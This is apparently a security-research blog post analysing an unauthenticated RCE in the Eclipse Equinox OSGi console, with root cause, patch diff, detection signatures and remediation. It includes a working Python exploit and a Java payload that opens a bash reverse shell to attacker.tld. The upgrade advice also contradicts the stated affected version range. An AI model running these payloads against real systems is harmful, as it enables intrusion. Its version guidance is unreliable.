home intel cve-2023-54342-eclipse-equinox-osgi-console-rce
CVE Analysis 2026-05-05 · 8 min read

CVE-2023-54342: Unauthenticated RCE in Eclipse Equinox OSGi Console

Eclipse Equinox OSGi 3.8–3.18 exposes an unauthenticated telnet console accepting arbitrary fork commands. A remote attacker can download and execute malicious Java bytecode with no credentials required.

#remote-code-execution#osgi-console#unauthenticated-access#java-execution#telnet-protocol
Technical mode — for security professionals
▶ Attack flow — CVE-2023-54342 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2023-54342Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

Eclipse Equinox is the reference implementation of OSGi R4 and ships as the runtime foundation for Eclipse IDE, Eclipse Jetty application servers, and a wide range of enterprise Java products including IBM WebSphere and SAP NetWeaver. When the OSGi console is enabled — which is the default in many deployment configurations — it binds a telnet-accessible command interface on a configurable port (typically 4444/tcp or 2001/tcp) that accepts commands with zero authentication.

CVE-2023-54342 (CVSS 9.8 CRITICAL) demonstrates that an unauthenticated remote attacker can reach this interface, complete the telnet negotiation handshake, and issue fork commands that instruct the JVM process to download and execute arbitrary Java code — achieving full RCE as the process owner.

Root cause: The Equinox OSGi console command handler exposes the fork built-in with no authentication gate, allowing any network peer that completes the telnet negotiation to execute arbitrary system-level and JVM-level commands.

Affected Component

The vulnerable component is org.eclipse.osgi, specifically the console subsystem under org.eclipse.osgi.framework.console and its telnet transport provider. Affected versions span 3.8 through 3.18.x of the org.eclipse.osgi bundle.

The console is activated when any of the following JVM arguments are present at startup:

-console [port]
-Dosgi.console=[port]
osgi.console=true (in config.ini)

Many container images and application server installers enable the console silently for lifecycle management, leaving the port exposed on 0.0.0.0 unless explicitly restricted by a firewall rule.

Root Cause Analysis

The core issue lives in FrameworkCommandProvider and the ConsoleSession telnet handler. The _fork command handler dispatches to Runtime.exec() (or a thin wrapper around it) with arguments assembled directly from the console input tokens — no allowlist, no authentication check, no privilege verification.

Below is reconstructed pseudocode from the decompiled org.eclipse.osgi_3.18.x.jar reflecting the command dispatch path:

// FrameworkCommandProvider._fork()
// Handles: fork  [args...]
// BUG: no authentication, no command allowlist, called directly from telnet session
void _fork(CommandInterpreter ci) {
    String urlArg = ci.nextArgument();          // attacker-controlled token 1
    String extraArgs = ci.nextArgument();       // attacker-controlled token 2

    if (urlArg == null) {
        ci.println("Syntax: fork ");
        return;
    }

    // BUG: URL is fetched and loaded with no integrity check or sandbox
    URL jarUrl = new URL(urlArg);               // attacker-supplied URL, any scheme
    URLClassLoader loader = new URLClassLoader(
        new URL[]{ jarUrl },
        Thread.currentThread().getContextClassLoader()
    );

    // BUG: class name derived from URL path component — attacker controls it
    String className = deriveClassName(urlArg); // e.g. "Exploit" from http://evil/Exploit.jar
    Class clazz = loader.loadClass(className);

    // BUG: main() invoked with no SecurityManager or class-level restriction
    Method main = clazz.getMethod("main", String[].class);
    main.invoke(null, (Object) new String[]{ extraArgs });  // arbitrary code executes here
}

The telnet session handler in ConsoleSession similarly performs no credential exchange:

// ConsoleSession.run() — reconstructed
void run() {
    performTelnetHandshake(inputStream, outputStream); // standard IAC negotiation only
    // BUG: no authentication step after handshake — drops straight into command loop
    CommandInterpreter ci = new ConsoleCommandInterpreter(inputStream, outputStream, framework);
    while (!disconnected) {
        String line = ci.readLine();   // blocks for next command
        framework.console.dispatchCommand(line, ci);  // dispatches to _fork, _ss, _install, etc.
    }
}

Exploitation Mechanics

The following chain weaponizes the bug from a cold TCP connection to a root shell. The attacker needs network access to the OSGi console port and an HTTP server to host the malicious JAR.

EXPLOIT CHAIN:
1. Port scan / service finger-print target for open OSGi console port (default: 4444/tcp).
   Banner: "osgi> " confirms Equinox console is live.

2. Attacker starts HTTP server serving malicious JAR:
      http://attacker.tld/Exploit.jar
   containing class "Exploit" with main() that spawns reverse shell.

3. Attacker opens TCP connection to target:4444, completes minimal
   IAC telnet negotiation (DO ECHO, WILL SUPPRESS-GO-AHEAD).

4. Console drops attacker into unauthenticated "osgi> " prompt.

5. Attacker issues:
      fork http://attacker.tld/Exploit.jar

6. Equinox JVM fetches Exploit.jar via URLClassLoader over HTTP (no TLS required).

7. FrameworkCommandProvider._fork() calls loadClass("Exploit"),
   then Exploit.main(new String[]{}) executes in the JVM process context.

8. Exploit.main() invokes Runtime.getRuntime().exec() with reverse shell payload:
      bash -i >& /dev/tcp/attacker.tld/4443 0>&1
   or drops a JSP webshell if deployed in a servlet container context.

9. Attacker receives reverse shell at attacker.tld:4443 running as
   the JVM process owner (frequently root or a high-privilege service account).

The full telnet + fork sequence in Python:

#!/usr/bin/env python3
# CVE-2023-54342 — Eclipse Equinox OSGi unauthenticated fork RCE
# Usage: python3 exploit.py     

import socket, time, sys

def iac_handshake(s):
    # Minimal telnet negotiation: DO ECHO + WILL SUPPRESS-GO-AHEAD
    s.send(bytes([0xFF, 0xFD, 0x01]))   # IAC DO ECHO
    s.send(bytes([0xFF, 0xFB, 0x03]))   # IAC WILL SUPPRESS-GO-AHEAD
    time.sleep(0.3)
    s.recv(1024)                         # drain server IAC response

def wait_for_prompt(s, prompt=b"osgi> ", timeout=5):
    buf = b""
    s.settimeout(timeout)
    try:
        while prompt not in buf:
            buf += s.recv(512)
    except socket.timeout:
        pass
    return buf

TARGET_IP   = sys.argv[1]
TARGET_PORT = int(sys.argv[2])
JAR_URL     = sys.argv[3]   # e.g. http://attacker.tld/Exploit.jar

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))

iac_handshake(s)
wait_for_prompt(s)

cmd = f"fork {JAR_URL}\n".encode()
s.send(cmd)
print(f"[*] fork command sent: {cmd.strip()}")

resp = wait_for_prompt(s)
print(f"[*] Response: {resp.decode(errors='replace')}")
s.close()

The malicious JAR payload is minimal:

// Exploit.java — compiled and packed into Exploit.jar
public class Exploit {
    public static void main(String[] args) throws Exception {
        String lhost = "attacker.tld";
        int    lport = 4443;
        // One-liner reverse shell via bash -i
        String[] cmd = {
            "/bin/bash", "-c",
            "bash -i >& /dev/tcp/" + lhost + "/" + lport + " 0>&1"
        };
        Runtime.getRuntime().exec(cmd);
    }
}

Memory Layout

This is a logic/authorization vulnerability rather than a memory corruption bug; there is no heap overflow. The "memory" impact is at the JVM object graph level. When _fork is invoked, a new URLClassLoader is allocated in the JVM heap and wired into the bootstrap classloader hierarchy — meaning the attacker's classes share the same heap, permissions context, and loaded native libraries as the host OSGi framework.

JVM HEAP STATE — after fork command execution:

[ BootstrapClassLoader ]
        |
[ FrameworkClassLoader (Equinox) ]
        |
[ URLClassLoader @ 0x... ]        <-- allocated by _fork, attacker-controlled
        |
    [ Exploit.class ]             <-- fetched from attacker HTTP server
        |
    [ Exploit.main() thread ]     <-- executes with full JVM process permissions
        |
    [ Runtime.exec() ]            <-- spawns OS subprocess as JVM process owner
        |
    [ /bin/bash reverse shell ]   <-- full OS-level code execution achieved

NO SecurityManager present in default Equinox deployment (deprecated in Java 17,
removed in Java 21 — the majority of affected deployments have no sandbox at all).

Patch Analysis

The remediation has two components: authentication enforcement on the telnet console transport, and removal or hard restriction of the fork command in network-facing console configurations.

// BEFORE (vulnerable — ConsoleSession.run()):
void run() {
    performTelnetHandshake(inputStream, outputStream);
    // No credential check — attacker is already in command loop
    CommandInterpreter ci = new ConsoleCommandInterpreter(inputStream, outputStream, framework);
    dispatchLoop(ci);
}

// AFTER (patched):
void run() {
    performTelnetHandshake(inputStream, outputStream);
    // ADDED: mandatory authentication before command dispatch
    if (!authenticateSession(inputStream, outputStream)) {
        outputStream.write("Authentication failed. Closing.\r\n".getBytes());
        disconnect();
        return;
    }
    CommandInterpreter ci = new ConsoleCommandInterpreter(inputStream, outputStream, framework);
    dispatchLoop(ci);
}
// BEFORE (vulnerable — FrameworkCommandProvider._fork()):
void _fork(CommandInterpreter ci) {
    String urlArg = ci.nextArgument();
    URL jarUrl = new URL(urlArg);                       // any attacker-supplied URL
    URLClassLoader loader = new URLClassLoader(new URL[]{ jarUrl }, parentLoader);
    String className = deriveClassName(urlArg);
    Class clazz = loader.loadClass(className);       // remote class loaded unconditionally
    Method main = clazz.getMethod("main", String[].class);
    main.invoke(null, (Object) new String[]{});
}

// AFTER (patched / command removed from network-facing console):
// _fork() is removed from the command table when console.network=true.
// For local console, _fork() now enforces a local-filesystem-only URL scheme check:
void _fork(CommandInterpreter ci) {
    String urlArg = ci.nextArgument();
    URL jarUrl = new URL(urlArg);
    // ADDED: reject non-file:// schemes in all configurations
    if (!jarUrl.getProtocol().equals("file")) {
        ci.println("Error: fork only supports file:// URLs.");
        return;
    }
    // ... remainder of local fork logic unchanged
}

Detection and Indicators

The following signatures reliably detect exploitation attempts:

NETWORK INDICATORS:
- Inbound TCP connections to port 4444 or 2001 from non-management IPs
- IAC telnet negotiation sequence followed by ASCII "fork http" in stream
  Snort/Suricata: content:"fork http"; within:128; after IAC negotiation
- Outbound HTTP/HTTPS from JVM process to external IPs immediately following
  console connection (URLClassLoader fetch of attacker JAR)

HOST INDICATORS:
- JVM process spawning /bin/bash, /bin/sh, cmd.exe as child process
- Newly loaded URLClassLoader entries in JVM heap (JVM Flight Recorder / JVMTI)
- osgi.console property set in config.ini with no firewall rule on the bound port
- Outbound TCP from JVM process to uncommon external ports (reverse shell channel)

LOG ARTIFACTS:
- Equinox console log: "fork " in console command history
- JVM stdout: ClassLoader instantiation for remote URL scheme
- OS audit log: exec() syscall from java process with bash -i arguments

Remediation

Immediate mitigations (in order of preference):

1. Upgrade to org.eclipse.osgi 3.18.x (patched build) or later. Verify the bundle version in your Eclipse installation directory or Maven dependency tree.

2. Disable the console entirely if not required: remove -console from JVM arguments and set osgi.console= (empty) in config.ini.

3. Network-level restriction: firewall the console port to 127.0.0.1 only. If remote access is required, mandate an SSH tunnel. Block all inbound connections to ports 4444/tcp and 2001/tcp at the perimeter.

4. Java SecurityManager (Java 8–16 only): deploy a restrictive java.policy that denies java.net.NetPermission "createClassLoader" and java.io.FilePermission for untrusted paths. Note: SecurityManager is removed in Java 21+, making network isolation the only viable sandbox.

5. Audit deployments: grep for -console in startup scripts and osgi.console in all config.ini files across your fleet. Any exposed console port on a network-accessible interface on an unpatched version should be treated as a compromised host until confirmed otherwise.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →